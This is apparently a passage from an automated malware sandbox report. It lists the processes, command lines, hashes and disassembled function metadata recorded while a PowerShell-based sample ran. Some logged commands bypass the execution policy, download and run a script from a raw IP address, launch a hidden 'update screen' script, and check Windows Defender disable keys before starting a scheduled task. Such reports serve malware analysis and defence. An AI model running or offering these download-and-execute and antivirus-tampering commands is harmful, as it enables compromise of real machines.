Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	02:41:23
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss4E65.ps1"
Imagebase:	0x570000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	02:41:23
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	02:41:28
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force \| Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	02:41:28
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PowerShell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\temp\DownSistem.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	02:41:28
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	02:41:28
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	02:41:32
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 6824, Parent PID: 6812

General

Target ID:	43
Start time:	02:41:32
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	02:41:35
Start date:	21/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline"
Imagebase:	0x7ff7896f0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	02:41:36
Start date:	21/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7FB3.tmp" "c:\Users\user\AppData\Local\Temp\CSC1F1FEE1B60354EE49FE3D23A31B1244.TMP"
Imagebase:	0x7ff768ca0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	02:41:43
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss9AD3.ps1"
Imagebase:	0x570000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	02:41:43
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff72bec0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	02:41:45
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PowerShell.exe -NoProfile -ExecutionPolicy Bypass -File C:\temp\sistema.ps1
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	02:41:45
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	02:42:13
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1297.ps1"
Imagebase:	0x570000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	02:42:13
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	02:43:25
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus # Se uma das chaves n o existir ou n o tiver valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -ne 1 -or $disableAntiVirus -ne 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, executa a tarefa agendada ATD if ($loopCompleted) { Start-ScheduledTask -TaskName 'ATD' Write-Output 'Tarefa agendada ATD executada com sucesso.' } }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 4928, Parent PID: 652

General

Target ID:	53
Start time:	02:43:25
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 0299B8A1 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 114244bf475010187af27aad35e9bfbb065b14be8403289f3e85d8d9a9e43316
Instruction ID: f11c6c9f1e744787b91827fba5a18be10f3ef9ed6adfe95ff47e06a15517e9ef
Opcode Fuzzy Hash: 114244bf475010187af27aad35e9bfbb065b14be8403289f3e85d8d9a9e43316
Instruction Fuzzy Hash: 8A917FB1F006145BDF1AEBA4C4556AEB7E3EF84704B00892DD10AAB350DF74AE06CBD6

Function 0299B8B0 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e077b66d060683df655b9df12b44d28d00bb91b8c2cd66985730aacc62d578a7
Instruction ID: 6da8408e6816b9e4e08ca0542deb229b838281153a2b22471b00f42794624139
Opcode Fuzzy Hash: e077b66d060683df655b9df12b44d28d00bb91b8c2cd66985730aacc62d578a7
Instruction Fuzzy Hash: 31916E71F006145BDF1AEBA4C4555AEB7E3EF84708B00892DD10AAB340DF74AE0ACBD6

Function 06CF2430 Relevance: 23.3, Strings: 18, Instructions: 820COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06CF28BD
J6l, xrefs: 06CF28A6
J6l, xrefs: 06CF284E
r5l, xrefs: 06CF27FF
J6l, xrefs: 06CF24F9
J6l, xrefs: 06CF269D
J6l, xrefs: 06CF24ED
+l, xrefs: 06CF273A
4'^q, xrefs: 06CF26BF
J6l, xrefs: 06CF24A7
4'^q, xrefs: 06CF26B3
J6l, xrefs: 06CF2657
+l, xrefs: 06CF272C
<c(k, xrefs: 06CF2683
J6l, xrefs: 06CF289A
4'^q, xrefs: 06CF28C9
r5l, xrefs: 06CF2809
J6l, xrefs: 06CF2691

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$<c(k$J6l$J6l$J6l$J6l$J6l$J6l$J6l$J6l$J6l$r5l$r5l$+l$+l
API String ID: 0-3212000763
Opcode ID: ee418bbed80fe6e88e99632c9b1ad4e4fbe3418e903968ba1a07e16119f8f58b
Instruction ID: da885b5d3aa1e20d733c45d288a1d68c94a90d5b0ce198ac389ccc78dc2d42cb
Opcode Fuzzy Hash: ee418bbed80fe6e88e99632c9b1ad4e4fbe3418e903968ba1a07e16119f8f58b
Instruction Fuzzy Hash: 26424831F202059FDBD49FA9D8406AABBE6AF84210F14807EE605CB355DB39CB45CBA1

Function 06CF3580 Relevance: 11.6, Strings: 9, Instructions: 328COMMON

Download Yara Rule

Strings

L5l, xrefs: 06CF3592
tP^q, xrefs: 06CF3768
$^q, xrefs: 06CF3723
$^q, xrefs: 06CF36F8
$^q, xrefs: 06CF36DC
$^q, xrefs: 06CF3717
$^q, xrefs: 06CF3704
$^q, xrefs: 06CF36C0
tP^q, xrefs: 06CF375C

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$tP^q$$^q$$^q$$^q$$^q$$^q$$^q$L5l
API String ID: 0-866753529
Opcode ID: 15f27fcb3f1951653d0e0fa39430ed65d3b8725326cccee65ca239248edbd1b4
Instruction ID: 4ef8ce69b60cc73f631cc3019f4f491063fa73f3bae7e34399ff98779b474e92
Opcode Fuzzy Hash: 15f27fcb3f1951653d0e0fa39430ed65d3b8725326cccee65ca239248edbd1b4
Instruction Fuzzy Hash: CDB16A32B14294AFD7958B69D840A6ABBF5AFC5210B14847FEA08CF391CE36DD05C7E1

Function 06CF5398 Relevance: 7.7, Strings: 6, Instructions: 199COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CF54E6
$^q, xrefs: 06CF545A
$^q, xrefs: 06CF54D6
$^q, xrefs: 06CF547B
$^q, xrefs: 06CF5500
$^q, xrefs: 06CF5510

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: fb907cb8c7edfda06f7d601c92ad677b7d2068e0686fa9286aa56b8eecf3fc7d
Instruction ID: f996f90ddc62b1379d932d052c27f0aae2ed9a17adfbe80726af5e55e15c3067
Opcode Fuzzy Hash: fb907cb8c7edfda06f7d601c92ad677b7d2068e0686fa9286aa56b8eecf3fc7d
Instruction Fuzzy Hash: F861F931B20208DFDB989F69D444B7E7BE2AF94311F908429EB05CF251DB35DA54CBA1

Function 06CF5387 Relevance: 5.1, Strings: 4, Instructions: 123COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CF545A
$^q, xrefs: 06CF54D6
$^q, xrefs: 06CF547B
$^q, xrefs: 06CF5500

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: d272a3b8f770fe9e39fa732918b72a76677caec86cf60508bbfaaf6381621b2f
Instruction ID: e46f0136e92b241bb7f40e7e2a6a48f49c078855fa80fb8c1652f4ac2373cab5
Opcode Fuzzy Hash: d272a3b8f770fe9e39fa732918b72a76677caec86cf60508bbfaaf6381621b2f
Instruction Fuzzy Hash: 5F41B930E20204DFDBE48F25C444B797BE2AB60352FD48469EB05CF191D775DA94CBA1

Function 02997580 Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

(bq, xrefs: 029976A5

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: dd3e1a607bc9941eaec93813162bc5efabf1be5266a043ad86e83806703be18c
Instruction ID: d5f747b28145afa0b9b927ce3d177fcb90875622f71b458a33a05b912005f274
Opcode Fuzzy Hash: dd3e1a607bc9941eaec93813162bc5efabf1be5266a043ad86e83806703be18c
Instruction Fuzzy Hash: 57414874A102048FDB19DFA9C498AADBBF6AF89214F1540A9E406AB395DF31EC01CB51

Function 0299EBD0 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

J6l, xrefs: 0299ECAA

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID: J6l
API String ID: 0-2605364582
Opcode ID: b3655ee66118cac822a7d01d305721fd0df9d581fc07b53631c53010889601a3
Instruction ID: f8f136e61a2bd516560192ca9910aacf4a6dcd8d66b3c2b9e305eec8803fac68
Opcode Fuzzy Hash: b3655ee66118cac822a7d01d305721fd0df9d581fc07b53631c53010889601a3
Instruction Fuzzy Hash: 1F318930E01209DFCB15DF78D594A9EBBF2AF89300F148969D446EB395DB34AD48CBA1

Function 0299EC00 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

J6l, xrefs: 0299ECAA

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID: J6l
API String ID: 0-2605364582
Opcode ID: 7ec96842ba051b8b00bea9c55646f0a6b1055e70ef3a2af892772f6ce0056941
Instruction ID: 2ae4f533479689c860124eabc2744af2fdf5212fdc8208b2f15605bc1b2aa292
Opcode Fuzzy Hash: 7ec96842ba051b8b00bea9c55646f0a6b1055e70ef3a2af892772f6ce0056941
Instruction Fuzzy Hash: 1C313530E00209DFCB15DF69D594A9EBBF2EF88300F148969D406AB394DB30AC49CBA0

Function 0299B3B8 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

(&^q, xrefs: 0299B3DA

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID: (&^q
API String ID: 0-2067289071
Opcode ID: d6f7ad1b6790cf360f48ff06f5bce8cf9e8fbbcad522fe418d0e2a9093efc8f0
Instruction ID: 4977f401e9dec9993f0aa94f236f1b6eb32acd73b2734548a773f6658b7e8b6b
Opcode Fuzzy Hash: d6f7ad1b6790cf360f48ff06f5bce8cf9e8fbbcad522fe418d0e2a9093efc8f0
Instruction Fuzzy Hash: DC21B071A042588FCB14DFAEE95479EBFF9EB89320F14846AD018A7340CB789845CFE5

Function 06CF356C Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

L5l, xrefs: 06CF3592

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: L5l
API String ID: 0-3035273751
Opcode ID: 9ee5edbb8f311aa4d50221332443b01baf3bcf0572a3a826f3daef1f806a98b3
Instruction ID: 9f0a9d28bf6bdd8889d56b5cf74f871e9bd1091e452e844350368e34c459b4e7
Opcode Fuzzy Hash: 9ee5edbb8f311aa4d50221332443b01baf3bcf0572a3a826f3daef1f806a98b3
Instruction Fuzzy Hash: 9611D371A14280BFEB958B55C841F26B7A5FFC4324F0581AAEA18CB3A1CB32DD01CB90

Function 02998B5C Relevance: .6, Instructions: 552COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67662c910767fe70bc4ad1f0cd837337ee09b2c61422459c6815a140c4ea607f
Instruction ID: f125a745b8797d175ccb17348fb88c89d882e9ff982051d010f8f18d9243b171
Opcode Fuzzy Hash: 67662c910767fe70bc4ad1f0cd837337ee09b2c61422459c6815a140c4ea607f
Instruction Fuzzy Hash: 68024FA290E3D15FDB075B3C98652C53F75AF67168F0A00DBD0C4CF2A7E519984AC3A2

Function 02998C63 Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bbdd2646a4012bbac583a85ef3eac6e87abe43f3f8c0b7f4db368d966171b3b
Instruction ID: 5d4e846f085ac8a3e0ead191c7cfba72af0620ebe737503a05e99b2e253a3f4a
Opcode Fuzzy Hash: 6bbdd2646a4012bbac583a85ef3eac6e87abe43f3f8c0b7f4db368d966171b3b
Instruction Fuzzy Hash: B1B158A290E3D15FDB075B3C98652853F74AF271A9F0A00DBD085CF1A3E5199C5EC3A6

Function 02992B60 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 126eec45873b101b3c18a02c929cf34c1c6fed0566945f069ad093c72d5a0e44
Instruction ID: 3a996112c9afbf709e39b67d31c3562b9716ee116ff6b895fd018a3eca4da8fe
Opcode Fuzzy Hash: 126eec45873b101b3c18a02c929cf34c1c6fed0566945f069ad093c72d5a0e44
Instruction Fuzzy Hash: F6A16CB4A002059FCB05CF5DC8949AEFBB5FF88320B2485A9D815AB365D735FC51CBA0

Function 027A0636 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1758962055.00000000027A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_27a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2d9778dc74d66cdea0a68d1aadea01e23b42be107cdd96994d4904269a293b2
Instruction ID: a8bb25505bc424ce59eb6d20c8e09169fedabd456cbca2fa1b3df1df680ca37d
Opcode Fuzzy Hash: d2d9778dc74d66cdea0a68d1aadea01e23b42be107cdd96994d4904269a293b2
Instruction Fuzzy Hash: 02714830E00258DFCF18DFA5D454BADBBB2BF88314F148929D416AB2A0DB75AD86CF51

Function 027A0007 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1758962055.00000000027A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_27a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d80625baddeed6c12e84869abf7cd7db595c849c6debc7f42938b5dfeae45b17
Instruction ID: 39c88051456d1256ba314a643176222a630516802d04fdba0d211c115fc2a688
Opcode Fuzzy Hash: d80625baddeed6c12e84869abf7cd7db595c849c6debc7f42938b5dfeae45b17
Instruction Fuzzy Hash: 19717034A04289CFCB05CFA4C994A9DBFB2EF89304F158599D441AF366D778AD89CB40

Function 027A0040 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1758962055.00000000027A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_27a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a334f241b370d687a29f76de95eabb7436cf1701ee4b9876c67096307fba0002
Instruction ID: 9fe5350f1ebb2549531ffc24a9798440c4fe2f4532b64b6dd68935aeb03b39c9
Opcode Fuzzy Hash: a334f241b370d687a29f76de95eabb7436cf1701ee4b9876c67096307fba0002
Instruction Fuzzy Hash: 14610034A00249CFCB04DFA4C594B9EBBB2FF85314F158658E406AF369DB74AD89CB80

Function 0299BEE0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3304c667fa98ea3e6691afc9091258ea11d11efe2c90a5a09fd711eb7958f299
Instruction ID: 8629ff6f9abbbee12e63893055cd723a11466e4334b2b018a712b81d68a68e72
Opcode Fuzzy Hash: 3304c667fa98ea3e6691afc9091258ea11d11efe2c90a5a09fd711eb7958f299
Instruction Fuzzy Hash: 2B611771E002489FCF54DFA9C98469DFBF6EF88314F14816AE808AB354DB359981CF50

Function 02997CE0 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6adaca1f02046169d9b82fb53a1abc9a6b42b94891894dd249c8b8ab8c059f6
Instruction ID: 9c9e771ded9b5839a12e58dda4a7f465d87fbe9d8f99f47f41c52db7b31ab1a1
Opcode Fuzzy Hash: d6adaca1f02046169d9b82fb53a1abc9a6b42b94891894dd249c8b8ab8c059f6
Instruction Fuzzy Hash: 3351B2753102059FDB04DBADD844A7AB7EAFFC9224F154969E409CB395EF32EC018B50

Function 027A16B0 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1758962055.00000000027A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_27a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17834e31c05f29b2b10652baf9b544be91524a925280f331d35f1aabefb5ce88
Instruction ID: 508691ee02f45e94f793d0709f5587532938c0c8076a35b5797527931e41de25
Opcode Fuzzy Hash: 17834e31c05f29b2b10652baf9b544be91524a925280f331d35f1aabefb5ce88
Instruction Fuzzy Hash: 7251C171E0021A8FEB14DFA9C9547EEBBF1BF88324F548229D918BB250DB749840CF95

Function 0299BED1 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d8c4a345594ca81e5cf43fc02180cc97446283c4e1b486ff50cb6ebdf46716a
Instruction ID: 02646131fa52d9b218eb32b9392410d341512e18c5ea5f424dac0cf1c35e53dd
Opcode Fuzzy Hash: 3d8c4a345594ca81e5cf43fc02180cc97446283c4e1b486ff50cb6ebdf46716a
Instruction Fuzzy Hash: 35513671E012489FCF54DFA8D984A8DFBF6EF88324F14816AE808AB354DB349885CF50

Function 027A04C8 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1758962055.00000000027A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_27a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4c261f8fa1b3c663fa3fae37db9771bf49af000a0141b2faf010ddb99804ad0
Instruction ID: 3b5dd689cab7cad5b022bc297d2e4eafe8928ebe744dd72f3ce0a866798dcafc
Opcode Fuzzy Hash: f4c261f8fa1b3c663fa3fae37db9771bf49af000a0141b2faf010ddb99804ad0
